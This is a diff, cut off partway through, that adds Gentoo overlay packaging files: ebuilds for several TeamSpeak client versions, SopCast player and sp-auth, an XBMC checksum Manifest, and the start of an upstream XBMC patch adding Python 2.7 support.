diff --git a/media-sound/teamspeak-client-bin/teamspeak-client-bin-3.0.13.1.ebuild b/media-sound/teamspeak-client-bin/teamspeak-client-bin-3.0.13.1.ebuild
new file mode 100644
index 00000000..055415aa
--- /dev/null
+++ b/media-sound/teamspeak-client-bin/teamspeak-client-bin-3.0.13.1.ebuild
@@ -0,0 +1,47 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/media-sound/teamspeak-client-bin/teamspeak-client-bin-3.0.6.ebuild,v 1.1 2012/05/09 11:49:45 polynomial-c Exp $
+
+EAPI=1
+
+inherit eutils unpacker
+
+DESCRIPTION="TeamSpeak Client - Voice Communication Software"
+HOMEPAGE="http://teamspeak.com/"
+LICENSE="teamspeak3"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+RESTRICT="strip"
+PROPERTIES="interactive"
+
+SRC_URI="
+	amd64? ( http://ftp.4players.de/pub/hosted/ts3/releases/${PV}/TeamSpeak3-Client-linux_amd64-${PV/_/-}.run )
+	x86? ( http://ftp.4players.de/pub/hosted/ts3/releases/${PV}/TeamSpeak3-Client-linux_x86-${PV/_/-}.run )
+"
+
+DEPEND=""
+RDEPEND="${DEPEND}
+		x11-libs/qt-gui:4
+		>=x11-libs/libXinerama-1.0.2"
+
+src_install() {
+	local dest="${D}/opt/teamspeak3-client"
+
+	mkdir -p "${dest}"
+
+	# remove the qt-libraries as they just cause trouble with the system's Qt
+	# see bug #328807
+	rm "${WORKDIR}"/libQt* || die
+
+	cp -R "${WORKDIR}/"* "${dest}/" || die
+
+	exeinto /usr/bin
+	doexe "${FILESDIR}/teamspeak3"
+
+	mv "${dest}/ts3client_linux_"* "${dest}/ts3client"
+
+	make_desktop_entry teamspeak3 TeamSpeak3 \
+		"/opt/teamspeak3-client/gfx/default/24x24_connect.png" \
+		Network
+}
diff --git a/media-sound/teamspeak-client-bin/teamspeak-client-bin-3.0.6.ebuild b/media-sound/teamspeak-client-bin/teamspeak-client-bin-3.0.6.ebuild
new file mode 100644
index 00000000..055415aa
--- /dev/null
+++ b/media-sound/teamspeak-client-bin/teamspeak-client-bin-3.0.6.ebuild
@@ -0,0 +1,47 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/media-sound/teamspeak-client-bin/teamspeak-client-bin-3.0.6.ebuild,v 1.1 2012/05/09 11:49:45 polynomial-c Exp $
+
+EAPI=1
+
+inherit eutils unpacker
+
+DESCRIPTION="TeamSpeak Client - Voice Communication Software"
+HOMEPAGE="http://teamspeak.com/"
+LICENSE="teamspeak3"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+RESTRICT="strip"
+PROPERTIES="interactive"
+
+SRC_URI="
+	amd64? ( http://ftp.4players.de/pub/hosted/ts3/releases/${PV}/TeamSpeak3-Client-linux_amd64-${PV/_/-}.run )
+	x86? ( http://ftp.4players.de/pub/hosted/ts3/releases/${PV}/TeamSpeak3-Client-linux_x86-${PV/_/-}.run )
+"
+
+DEPEND=""
+RDEPEND="${DEPEND}
+		x11-libs/qt-gui:4
+		>=x11-libs/libXinerama-1.0.2"
+
+src_install() {
+	local dest="${D}/opt/teamspeak3-client"
+
+	mkdir -p "${dest}"
+
+	# remove the qt-libraries as they just cause trouble with the system's Qt
+	# see bug #328807
+	rm "${WORKDIR}"/libQt* || die
+
+	cp -R "${WORKDIR}/"* "${dest}/" || die
+
+	exeinto /usr/bin
+	doexe "${FILESDIR}/teamspeak3"
+
+	mv "${dest}/ts3client_linux_"* "${dest}/ts3client"
+
+	make_desktop_entry teamspeak3 TeamSpeak3 \
+		"/opt/teamspeak3-client/gfx/default/24x24_connect.png" \
+		Network
+}
diff --git a/media-sound/teamspeak-client-bin/teamspeak-client-bin-3.0.8.1.ebuild b/media-sound/teamspeak-client-bin/teamspeak-client-bin-3.0.8.1.ebuild
new file mode 100644
index 00000000..055415aa
--- /dev/null
+++ b/media-sound/teamspeak-client-bin/teamspeak-client-bin-3.0.8.1.ebuild
@@ -0,0 +1,47 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/media-sound/teamspeak-client-bin/teamspeak-client-bin-3.0.6.ebuild,v 1.1 2012/05/09 11:49:45 polynomial-c Exp $
+
+EAPI=1
+
+inherit eutils unpacker
+
+DESCRIPTION="TeamSpeak Client - Voice Communication Software"
+HOMEPAGE="http://teamspeak.com/"
+LICENSE="teamspeak3"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+RESTRICT="strip"
+PROPERTIES="interactive"
+
+SRC_URI="
+	amd64? ( http://ftp.4players.de/pub/hosted/ts3/releases/${PV}/TeamSpeak3-Client-linux_amd64-${PV/_/-}.run )
+	x86? ( http://ftp.4players.de/pub/hosted/ts3/releases/${PV}/TeamSpeak3-Client-linux_x86-${PV/_/-}.run )
+"
+
+DEPEND=""
+RDEPEND="${DEPEND}
+		x11-libs/qt-gui:4
+		>=x11-libs/libXinerama-1.0.2"
+
+src_install() {
+	local dest="${D}/opt/teamspeak3-client"
+
+	mkdir -p "${dest}"
+
+	# remove the qt-libraries as they just cause trouble with the system's Qt
+	# see bug #328807
+	rm "${WORKDIR}"/libQt* || die
+
+	cp -R "${WORKDIR}/"* "${dest}/" || die
+
+	exeinto /usr/bin
+	doexe "${FILESDIR}/teamspeak3"
+
+	mv "${dest}/ts3client_linux_"* "${dest}/ts3client"
+
+	make_desktop_entry teamspeak3 TeamSpeak3 \
+		"/opt/teamspeak3-client/gfx/default/24x24_connect.png" \
+		Network
+}
diff --git a/media-sound/teamspeak-client-bin/teamspeak-client-bin-3.0.9.2.ebuild b/media-sound/teamspeak-client-bin/teamspeak-client-bin-3.0.9.2.ebuild
new file mode 100644
index 00000000..055415aa
--- /dev/null
+++ b/media-sound/teamspeak-client-bin/teamspeak-client-bin-3.0.9.2.ebuild
@@ -0,0 +1,47 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/media-sound/teamspeak-client-bin/teamspeak-client-bin-3.0.6.ebuild,v 1.1 2012/05/09 11:49:45 polynomial-c Exp $
+
+EAPI=1
+
+inherit eutils unpacker
+
+DESCRIPTION="TeamSpeak Client - Voice Communication Software"
+HOMEPAGE="http://teamspeak.com/"
+LICENSE="teamspeak3"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+RESTRICT="strip"
+PROPERTIES="interactive"
+
+SRC_URI="
+	amd64? ( http://ftp.4players.de/pub/hosted/ts3/releases/${PV}/TeamSpeak3-Client-linux_amd64-${PV/_/-}.run )
+	x86? ( http://ftp.4players.de/pub/hosted/ts3/releases/${PV}/TeamSpeak3-Client-linux_x86-${PV/_/-}.run )
+"
+
+DEPEND=""
+RDEPEND="${DEPEND}
+		x11-libs/qt-gui:4
+		>=x11-libs/libXinerama-1.0.2"
+
+src_install() {
+	local dest="${D}/opt/teamspeak3-client"
+
+	mkdir -p "${dest}"
+
+	# remove the qt-libraries as they just cause trouble with the system's Qt
+	# see bug #328807
+	rm "${WORKDIR}"/libQt* || die
+
+	cp -R "${WORKDIR}/"* "${dest}/" || die
+
+	exeinto /usr/bin
+	doexe "${FILESDIR}/teamspeak3"
+
+	mv "${dest}/ts3client_linux_"* "${dest}/ts3client"
+
+	make_desktop_entry teamspeak3 TeamSpeak3 \
+		"/opt/teamspeak3-client/gfx/default/24x24_connect.png" \
+		Network
+}
diff --git a/media-tv/sopcast-player/Manifest b/media-tv/sopcast-player/Manifest
new file mode 100644
index 00000000..8a2effbb
--- /dev/null
+++ b/media-tv/sopcast-player/Manifest
@@ -0,0 +1,2 @@
+DIST sopcast-player-0.8.5.tar.gz 406992 SHA256 a7205b0104073362eec37bb865161dbe0e8d997718ae45710e19093fda8dd50a SHA512 956eb93705366daca9e10ad14c0dec0586df402ebe4d0787666cb85901c798b8029ec8ff09ec908d14439a819c600c59589f6f6346287dc959161f09a79c3c68 WHIRLPOOL 69df619d8891cafb6571d54a2e712e5e8aa9a3587d3585b052f399cbcebd90954fe7c759bfc00559f43e1abea76a6ecb9ab2e71a556da6409be99afd119d93a8
+EBUILD sopcast-player-0.8.5.ebuild 902 SHA256 748dd974a8833b92eda8226416a23d64548a319d5e8ef64afaee5fe75babe0df SHA512 23b087cb3006cf625a712d372194d60b9c3f2698b886c6bccee79c7a135ee62224b2a0b8a3ecddd2d0b635a85fd217fac609629281f29fb9623c1d6b344977f0 WHIRLPOOL bc4e7f422569a5cc740ba4fc30f391034286a3873e61108e6594262e148b35c4db81cb159926d719c549bf4e41bf8590e35959df867d980b05f5ffd3bff6a0d7
diff --git a/media-tv/sopcast-player/sopcast-player-0.8.5.ebuild b/media-tv/sopcast-player/sopcast-player-0.8.5.ebuild
new file mode 100644
index 00000000..4afbf688
--- /dev/null
+++ b/media-tv/sopcast-player/sopcast-player-0.8.5.ebuild
@@ -0,0 +1,40 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=3
+
+DESCRIPTION="A GTK+ front-end for the SopCast P2P TV player."
+HOMEPAGE="http://www.sopcast.com/"
+SRC_URI="https://sopcast-player.googlecode.com/files/sopcast-player-0.8.5.tar.gz"
+
+LICENSE=""
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+DEPEND="dev-util/debhelper
+		sys-devel/gettext
+		dev-lang/python
+		dev-python/pygtk
+		dev-python/pygobject
+		dev-python/setuptools
+		dev-util/desktop-file-utils
+		x11-themes/hicolor-icon-theme
+		dev-util/wxglade
+		dev-python/pygtk
+		dev-python/pyglet
+		dev-python/pyvlc
+		sys-libs/libstdc++-v3
+		virtual/libstdc++
+		media-video/vlc"
+RDEPEND="${DEPEND}"
+
+S=${WORKDIR}/${MY_P}
+
+src_install() {
+	exeinto /opt/${PN}
+	newexe sopcast-player ${PN} || die "newexe failed"
+	dosym /opt/${PN}/${PN} /usr/bin/${PN}
+	dodoc Readme || die "dodoc failed"
+}
diff --git a/media-tv/sp-auth/Manifest b/media-tv/sp-auth/Manifest
new file mode 100644
index 00000000..6d8d8af8
--- /dev/null
+++ b/media-tv/sp-auth/Manifest
@@ -0,0 +1 @@
+DIST sp-auth-3.2.6.tar.gz 345856 SHA256 6ea333b51898ee61f37903f20503358e8ee328cbd8b49d910fa7e0f23bf8a4a0 SHA512 9d9c547df24b30ffe7ee33d0783005eff3f8b90d0955f58faa8380102e10de8f9ab6098ff53ecacaa3c275bf7b206b98f6ae9a365abb362531a3d28888e666af WHIRLPOOL 21b7269c41e43ec292302bca97bf9d65f506649aaed751fe2777199cf866e94cdd324294d60a1c24202eb2e973214406f167b50cfb55282289b301ca3d9c4e0b
diff --git a/media-tv/sp-auth/sp-auth-3.2.6.ebuild b/media-tv/sp-auth/sp-auth-3.2.6.ebuild
new file mode 100644
index 00000000..e2d411dc
--- /dev/null
+++ b/media-tv/sp-auth/sp-auth-3.2.6.ebuild
@@ -0,0 +1,33 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=2
+
+inherit eutils
+
+MY_P="sp-sc-auth"
+
+DESCRIPTION="SopCast free P2P Internet TV binary"
+LICENSE="SopCast-unknown-license"
+HOMEPAGE="http://www.sopcast.com/"
+SRC_URI="http://sopcast-player.googlecode.com/files/${PN}-${PV}.tar.gz"
+
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+RESTRICT="strip"
+
+# All dependencies might not be listed, since the binary blob's homepage only lists libstdc
+RDEPEND="amd64? ( app-emulation/emul-linux-x86-compat )
+	x86? ( >=virtual/libstdc-3.3 )"
+
+DEPEND="${RDEPEND}"
+
+S=${WORKDIR}/${PN}
+
+src_install() {
+	exeinto /usr/bin/
+	newexe sp-sc-auth ${MY_P} || die "newexe failed"
+	dodoc Readme || die "dodoc failed"
+}
diff --git a/media-tv/xbmc/Manifest b/media-tv/xbmc/Manifest
new file mode 100644
index 00000000..57e32828
--- /dev/null
+++ b/media-tv/xbmc/Manifest
@@ -0,0 +1,26 @@
+AUX xbmc-10.0-python-2.7.patch 30308 SHA256 8f6b2a0a962ad250fc317542d0fa180585d3c9e630ca98f99299b6f750555085 SHA512 dca28d98f89f22e11fcae10253b4bb5aa41a663e0d963449e27c0c9996630f64ee027f70edd41e6adc040567ccb8a12ec8a5e4b18d7d10ab56e081da9c392009 WHIRLPOOL e8de7861b41dd183469f66cae542d0ba8bfcb2a34f57ad2d3bb05b568469da32588efbf67ec0666fc5a9d01f3a51779d9929b969eb14d8cda162b16f7d0ba3c7
+AUX xbmc-10.1-gcc-4.6.patch 4295 SHA256 cef1154bc3352b215bfece1a749d901d43ec7aa0c6d050921ae8745c553e84c9 SHA512 aca5c7ca5aaaceaa376e357b987dcdfc08e5772819778f8cc173711b54f2539fca19f4ba7c5251f374515f4ed7080c3a926259867115dd4984943bcfffbdd14c WHIRLPOOL 2f6742addc4d59f5c10c510fdc39d04ed4bb96a185e3cf05d6313236b28ca011cd821791f6775c7c30d808f2558fd174af92e2ce6bb09e4c2f05a562d1f03714
+AUX xbmc-10.1-headers.patch 294 SHA256 8b8e86cf7edef227e8267c52d60545b753eea11261f078131ee30f9eac8bb002 SHA512 3a355ed831dea0c2ec85ff25c7abd57003dfe74eb892bf4776dadc4b27e046358632fe61adf9afc4e6b27bb44abc859970a3c14c648a2ae28b58d11c4d0a46fa WHIRLPOOL f9894204a8e0850438d4bc0dcd7daea0e9c4e64780f3478f8b304832caf1cda52080d89b5c3503e50a8289a934134d21e77f8afd0c7da8550ea85fb4122810d7
+AUX xbmc-10.1-libpng-1.5.patch 19253 SHA256 1a0985b91ee9862a538a43689d005dc88d49bf5a70d917896fb69ee416369ff7 SHA512 40ce41d6b27e5cd6df82f6d6ba24ee7bc39f13a735cbb9746cf9818dafa9ae16526b38e84be98bd69eb57b52e2201317529b1546e5bf694b10dfe671303a4614 WHIRLPOOL 6f17fc198204b0ff97be0294c2400ac41cce16a4cec55dfe0657b69da9a57f6c36beefc7f6a7c499aab79e8d6eacd715e09f4d35e00d657e2b0d10f397bba15e
+AUX xbmc-11.0-libpng-1.5.patch 18833 SHA256 83b49d44b7855dcb2f7d34e2e9628f4c1f8e06ae8f9e94ac06a6036620705daa SHA512 b014e37abb3e8b5c4c2fc0a4070fb71d562b3b40c6a844dad85cff3cea442c42bb78f88004d4f7b3767fdb12c530ac660162247fd44ca3e1ac42592b004b06c0 WHIRLPOOL 16b24676f7ac06a59a534e79c981c34c105bed68f9ab4b465e3fa51372ed2025ea9706a988df8d47f18677d36f6dedd8ff47aa34f0e74c89015c746bdea1953e
+AUX xbmc-11.0-no-exec-stack.patch 807 SHA256 e36c83746838dd362512a046dc066c0f3fdc1252289b2761be381f84262cab78 SHA512 d0d4c2d4bb257c722ec40470fb6c8da59033009152598e69133b6184b25da36debf42f86859389c878a072603f3d583e28a52519e8dca47d9bdf7edd5f9e44c5 WHIRLPOOL d18dd387fe55b18be78fdad08b0a4319c2a5ccd161f1dfc0d5ab8015d88c5842780415c903a098a4683524658fc31c07e285e61fcff04ad6e4777c77e5691f38
+AUX xbmc-11.0_beta1-libpng-1.5-fix-plt-trn-get.patch 1659 SHA256 fed3ba39de959c46bc43431b229347c187690848ccd3bdc823bb7291bc425e84 SHA512 b4cbbdaa54a098d6b98d686966ecbf566fa86905d184b2bb4a3b97c51f3b2171249dfd0451a31971f137bc7ec8602e1859abf757d4ef5a5c1563cbb3726a4574 WHIRLPOOL e6c31d89fa1d214d5e0d2f866a5f6fd321791057c9bfdf05e36509fb60e8578a598203f7f121ad9025a71c1de31fd3693af68a8bedca92bf7f2ff7138c307e5d
+AUX xbmc-11.0_beta1-libpng-1.5-headers.patch 450 SHA256 28765af28836502ce2df92c00b0df27733137111f7fbb11a5cd0b5b7c47b0713 SHA512 494e85af4b87db1cb476d6158fc4412016ee3b385cb55beadf4ac176d9be55d637faac43c35b97ec7856ff48b230f0ab2080265b4e9997b27198a02ace9071ac WHIRLPOOL 5e57311cd42e5689b4b8ab5e42019e115c2f2962eccfc3a0c6453c52926580a2e0905d216b82e71b546f536f625918627084cbc30ac8d188d346fa27e6a2cf82
+AUX xbmc-11.0_beta1-libpng-1.5.patch 18687 SHA256 359cc4893cc6922b86269770c11c5e80fd5b33e711ebf1645b232e4f3fc91c28 SHA512 c20e7d04773f66353856df5ce38b1d695df26d235921d01311460789f3215f49a1421616f4f98b33786a7aac09526d720ae442a637c378ee081aa19be706cf44 WHIRLPOOL cd4945e373cbb7f6ab501b13a0ab35fece28bb97cec2f3d85b700961fbd8d78202a531c89bcbca81020834a28756e4a18c4abb5e53465be34af77d6d2f3134b1
+AUX xbmc-9.11-TexturePacker-parallel-build.patch 357 SHA256 a9b990cdd5473e72cc83cda36cc9faaf67e97649cec45af9c529455464b12d43 SHA512 b6f4f4b8c30643e7b5333782cb9ba1a524e85bdefb5ae2fed373d37d1281eeb2835265bc20f99916a7c2dda79069463d1abcfd40870d3264b26192c3ba5332f2 WHIRLPOOL 68ec8b9168960564af5d2fbe93e8eaf91978f8b0c476cee2f52f1209c567b2a77e9193264226d172fa7c1dee24d5405e5dcfc0e79d8f7257e92227fc40662198
+AUX xbmc-9.11-jpeg-speedup.patch 804 SHA256 3115b8668b60e307536a9314fc02c837d4f94f89571d403761b614a22447e2d8 SHA512 6ad4468f0be722070d27b339de062aea85efff2bf1217767c86f2e8249145ba4fbded635a577ae2e30233d86834cb8a8067f14e349cbbb557b48b02037516ba6 WHIRLPOOL 2621a243e8b49a9608a3736319cf101bc00e48fcbc60ca53264af7e4cf666ae49ae82803225d955ba83fedb4df416cad0ea97e4e8e568c2af55a0cbf8366c659
+AUX xbmc-9.11-libpng14.patch 4263 SHA256 0516a466f2646867478781251d665e87f6f0697fcd9ce29b91c87194fafc7da6 SHA512 fe07dbb7ad2ef7a511d00e63f697f018f2af06b601f0bc1cd70a6e1d1232026c206539a893da02992510232e7e194d6a23ad4e32dad529796e232cd07743647d WHIRLPOOL 39e2303850b732a2e4f4c5254cdd152162995c9d34140c0f9312951f4b19e54d626d7b976fc1472b1fa9bd8c11849acb0bc917a8abec657e74b185b883562eb7
+AUX xbmc-9.11-shader-upscalers.patch 29024 SHA256 965099c217920d5db259944adc4250ed73e4b08ddcd7b0d88d843c9a9a41d396 SHA512 0f6628a667178672519bc6ea6aa594825d2443df5ec3fbedb99f1abb4aa935670824f46792057b467e9f250722ae0ba41f9071f17afedf23e9908bb9f7db9bf2 WHIRLPOOL d80b9b2c8d9e9761c74a3f3ea8007f4835d057da8a9612785939c59edca90234d26ac41a21fc93a66b0fd02612380e3aa36111004ec5e90f2cd5b475f2790bdb
+AUX xbmc-9.11-use-cdio-system-headers-on-non-win32.patch 3623 SHA256 ceb6952025c8baf5bb4eed18380c9bf6022893407f22a3e587eebd657863ab83 SHA512 1889fdf1199066cd3fac1bf11179e49c1841b85a9c654ffefb9e67966debecec276ae5cfa2c4b07dd3334e362bbc4742da29204308ff7dea12b650022da7c71a WHIRLPOOL cd05c51666472c741e3d321fa689f9b58c952d81b2c81d3636d474b81bed59c4401017580cd83880be72cf0aba37e41c5ef73bc9295538a37c626ee61468c3f6
+AUX xbmc-9.11-wavpack.patch 2637 SHA256 b09e9072f0a2d4451588c40b0b300611944ba7d4cefbae0c400389ed9f8485dc SHA512 00ac9886e0cd03481672629ddd94f7a92996aa577daa24d71bc7abc5becdc6c1272ee1ff198ea3333f03cd206a25b2194b7f076232cec3b833cd042eb8a4867a WHIRLPOOL 9d03ae7488c5ffa9f9a3ceadc80626d57f807ac25da3efd37e57471e3c7b93afb3781c11486e97ab9634206642516513f1babc4b69435385a8ce57075e586541
+AUX xbmc-9999-arm-kill-softfp.patch 638 SHA256 40e70e18a658e839ef0b73644a4dda2a6acb30710f04ff049e38780d80ac58ad SHA512 0f99ad8437d140109d4c78b3986ce5ef3449ceea1150844e65ccc526a8ef49c6457c9a99a7ea48d3d8e55c82f683a35b139dae7c08e906f2d77331722260b2db WHIRLPOOL 0a1369d463bf7eb72a4505c16718cb176bca986b7803a5f424504e16e1bfbf51392d0c0f889c75da362ebebc9a3ccecbafa90ac7ff1ced3914675b6f280d139d
+AUX xbmc-9999-libpng-1.5-fix-plt-trn-get.patch 1545 SHA256 cea0af47be10345a98fb262c4d5b75d0fd789741d60673288445e1afae80e73b SHA512 e8d071706f8975b9ee72ded98a4d2921b92cf18b3bce10ff745fce482b01d1eab7244eb9a10cb2c22eca1ec3492dba2510c6471966266a81e2728ea095603562 WHIRLPOOL 59c59b822b25fabacbd8a999844d83636a9821fd00f8cfe1a0710dc743f3ab37ed617921c3c98a3521dce12190aeb3bb51123eb8bfb00b9300873d773573be65
+AUX xbmc-9999-no-arm-flags.patch 542 SHA256 72164a8b91f3209cff06ea1a103580f827135951a7a798eefabc04ee1a6d3e84 SHA512 7d40be4bdef2a2b1e53f8b96c489a87ec67975ae486fb44e619d66c1b5333ad33f896f64cca4e1c8050c3d92cd6537a9ca776e743c88fc2c8cabea1eae62b4b5 WHIRLPOOL 7c6666198b7d987028925e0f578d71796f6541995aa87964de3275f6a087610ef69d630ac349500a7c534de213b8fbff4cca6c25c3d0e6f1b1d8cd89f27d3d9d
+AUX xbmc-9999-no-exec-stack.patch 782 SHA256 0d3085458ff9c8c22f4dd406ee611d74909bb1dc2de4788b67e30cb5967c819f SHA512 2b7391955dfd5b987b5872ad1956b994f6387809d69281ff246755fb0fb85a7fed4216faa5f862a633ce9a7847013d813f23d31546126c8d0616b7217eb513e4 WHIRLPOOL 4da69df4a62d136e8a5a6e3e11102e2584e4fbcabed47bb5cc8bafc300ea4b979b996e469f6e59536370e27bbf9309eb9c5afc9f7bd4710fb950d5227bb38c94
+AUX xbmc-9999-nomythtv.patch 6190 SHA256 ffb1eb49f94b4ae41e5d79172499671915122a58af248b0585ee276e4aa2c87e SHA512 4a9ff4b4f5cb56c92932f05b5b812bee0fdce37ed9f568a6e0dc0cd62335e2131361a63d8026b64f9c7078fa9c4ef0e439b52234c722b1b854aeeed1cc2764c7 WHIRLPOOL ce457b509c6fd222ae6002420db7cc438e1352114f38790b623f04e6834eb5508d4609a1bf71628bfafde3bcef830e84b42448619c19227d5729d6d8a824a13c
+DIST xbmc-10.1.tar.gz 130187822 SHA256 3403195b7eb1d076523f2394793b7f050df00743892b031f6fea86b998559d8a
+DIST xbmc-11.0.tar.gz 63012044 SHA256 1fe5d310c16138f26e2b13bc545604e95f48ace6c8636f23e77da402cd7b0b19
+DIST xbmc-12.0.tar.gz 67176825 SHA256 53018cd014b5203df5e5ef4080931ef499d3740815f32d17dce92ef7d050c16f SHA512 37da579b055d4ea72cd18cf92541b47e6c42682091ef123baccdbce740b23842ac7c28eea032ada9a9c2232be034c7c4113ee8107ac3c7287834d08d4bcb67d6 WHIRLPOOL 6282dd7a728696c9a4577725d949d54992996d18a7b3c054c7d318b070fcad33efc4292afb83aa934c586cf718de67e294b2c498e491311b896e6a632cfa5b73
+EBUILD xbmc-10.1.ebuild 6173 SHA256 b2f407fec89fd9483763e996f8ff2c4c1560a43a567deb286864733eee1de9e0 SHA512 cf52a66cf74cdfe325392575cc8572c04158b162e3680708d6d4ec543a81d5711797a57052db4d308f0acc3e26bb4cf03cc6e9339136bf7b44f40e1753f042d3 WHIRLPOOL 74daaeba7dc990a45c58dce5c03fb0d6a649270b7a728b74f7c1a6ef4063aacb8bf774c7d521fecd702c2b7047619bb10af46baaeab64d5ddba1696f23bd36ad
+EBUILD xbmc-11.0.ebuild 6033 SHA256 173fe31166bb69cf1b416c2ea2c5702652909cdeb3a6b41319be8b5705860c5c SHA512 acc46cc5f5cbc3a7c75c03f50a02b3fdb0824b9f0dce55db8dc15b8801d1540a867a5fc8056de1b82a54410575c685ead1d0d07f6e620947f80ec0880b5a5706 WHIRLPOOL 092b112933213f031b1ca45911dd0795855ca8181359ef7398119ec6cfab2f7d669cf68082ddae5330f875a7ed3c6df8003992ff1cc0be000df7bbab48f775cc
+EBUILD xbmc-12.0.ebuild 6481 SHA256 b232410feb0c2715dc2b2e9ad9204f1e1f09a9237c0cc57b9a2f23f8a9e2b8d3 SHA512 65a1cac4a88b806ecc327cfec1ac3ef90dc73868a82c8ace3a47fcf5eb2b61f125d317646c096b671bc88f7814e08231ace11312e74e595a8c421696bd1982c3 WHIRLPOOL da70651c655c64ca82895236d11e1ae4462cce62809ab0338364b142bcd03c42c6d244c75591df381cc93bc9809d44b6f5f6a9a518fd52e150d4c520a21d2622
diff --git a/media-tv/xbmc/files/xbmc-10.0-python-2.7.patch b/media-tv/xbmc/files/xbmc-10.0-python-2.7.patch
new file mode 100644
index 00000000..e3d17a5e
--- /dev/null
+++ b/media-tv/xbmc/files/xbmc-10.0-python-2.7.patch
@@ -0,0 +1,768 @@
+patch from upstream
+
+https://bugs.gentoo.org/350098
+
+From ab0f816c6307f38d7248d0469379c981f94b816d Mon Sep 17 00:00:00 2001
+From: ceros7 <ceros7@568bbfeb-2a22-0410-94d2-cc84cf5bfa90>
+Date: Mon, 30 Aug 2010 16:46:50 +0000
+Subject: [PATCH] Support external python2.7.
+
+git-svn-id: https://xbmc.svn.sourceforge.net/svnroot/xbmc/branches/python2.7@33342 568bbfeb-2a22-0410-94d2-cc84cf5bfa90
+---
+ configure.in                                       |   10 ++++++-
+ xbmc/lib/libPython/XBPyThread.cpp                  |    5 +++-
+ xbmc/lib/libPython/XBPyThread.h                    |    4 ++-
+ xbmc/lib/libPython/XBPython.cpp                    |   24 +++++++++++++++-----
+ xbmc/lib/libPython/XBPythonDll.cpp                 |    4 ++-
+ xbmc/lib/libPython/XBPythonDllFuncs.S              |    4 ++-
+ xbmc/lib/libPython/linux/Makefile.in               |    5 +++-
+ xbmc/lib/libPython/xbmcmodule/GUIPythonWindow.h    |    4 ++-
+ xbmc/lib/libPython/xbmcmodule/PythonAddon.h        |    4 ++-
+ xbmc/lib/libPython/xbmcmodule/PythonPlayer.h       |    4 ++-
+ xbmc/lib/libPython/xbmcmodule/action.h             |    4 ++-
+ xbmc/lib/libPython/xbmcmodule/control.h            |    4 ++-
+ xbmc/lib/libPython/xbmcmodule/controlbutton.cpp    |    4 ++-
+ xbmc/lib/libPython/xbmcmodule/controlcheckmark.cpp |    4 ++-
+ xbmc/lib/libPython/xbmcmodule/controlfadelabel.cpp |    4 ++-
+ xbmc/lib/libPython/xbmcmodule/controlgroup.cpp     |    4 ++-
+ xbmc/lib/libPython/xbmcmodule/controlimage.cpp     |    4 ++-
+ xbmc/lib/libPython/xbmcmodule/controllabel.cpp     |    4 ++-
+ xbmc/lib/libPython/xbmcmodule/controllist.cpp      |    4 ++-
+ xbmc/lib/libPython/xbmcmodule/controlprogress.cpp  |    4 ++-
+ .../libPython/xbmcmodule/controlradiobutton.cpp    |    4 ++-
+ xbmc/lib/libPython/xbmcmodule/controlslider.cpp    |    4 ++-
+ xbmc/lib/libPython/xbmcmodule/controlspin.cpp      |    4 ++-
+ xbmc/lib/libPython/xbmcmodule/controltextbox.cpp   |    4 ++-
+ xbmc/lib/libPython/xbmcmodule/dialog.cpp           |    4 ++-
+ xbmc/lib/libPython/xbmcmodule/dialog.h             |    4 ++-
+ xbmc/lib/libPython/xbmcmodule/infotagmusic.h       |    4 ++-
+ xbmc/lib/libPython/xbmcmodule/infotagvideo.h       |    4 ++-
+ xbmc/lib/libPython/xbmcmodule/keyboard.h           |    4 ++-
+ xbmc/lib/libPython/xbmcmodule/listitem.cpp         |    4 ++-
+ xbmc/lib/libPython/xbmcmodule/listitem.h           |    4 ++-
+ xbmc/lib/libPython/xbmcmodule/player.h             |    4 ++-
+ xbmc/lib/libPython/xbmcmodule/pyplaylist.cpp       |    4 ++-
+ xbmc/lib/libPython/xbmcmodule/pyplaylist.h         |    4 ++-
+ xbmc/lib/libPython/xbmcmodule/pyutil.h             |    4 ++-
+ xbmc/lib/libPython/xbmcmodule/window.h             |    4 ++-
+ xbmc/lib/libPython/xbmcmodule/winxml.cpp           |    4 ++-
+ xbmc/lib/libPython/xbmcmodule/winxml.h             |    4 ++-
+ xbmc/lib/libPython/xbmcmodule/winxmldialog.cpp     |    4 ++-
+ xbmc/lib/libPython/xbmcmodule/xbmcaddonmodule.cpp  |    4 ++-
+ xbmc/lib/libPython/xbmcmodule/xbmcguimodule.cpp    |    5 +++-
+ xbmc/lib/libPython/xbmcmodule/xbmcmodule.cpp       |    4 ++-
+ 42 files changed, 149 insertions(+), 48 deletions(-)
+
+diff --git a/configure.in b/configure.in
+index 4c0b1b7..cd3429e 100644
+--- a/configure.in
++++ b/configure.in
+@@ -901,7 +901,11 @@ fi
+ 
+ # External Python
+ if test "$use_external_python" = "yes"; then
+-  AC_CHECK_LIB([python2.6], [main],
++  AC_CHECK_LIB([python2.7], [main],
++    [AC_DEFINE([HAVE_LIBPYTHON2_7], [1],
++    [Define to 1 if you have the 'python2.7' library.])
++    USE_PYTHON2_7=1],
++  [AC_CHECK_LIB([python2.6], [main],
+     [AC_DEFINE([HAVE_LIBPYTHON2_6], [1],
+     [Define to 1 if you have the 'python2.6' library.])
+     USE_PYTHON2_6=1],
+@@ -913,9 +917,10 @@ if test "$use_external_python" = "yes"; then
+     [AC_DEFINE([HAVE_LIBPYTHON2_4], [1],
+     [Define to 1 if you have the 'python2.4' library.])
+     USE_PYTHON2_4=1],
+-  [AC_MSG_ERROR($missing_library)] )] )] )
++  [AC_MSG_ERROR($missing_library)] )] )] )] )
+ 
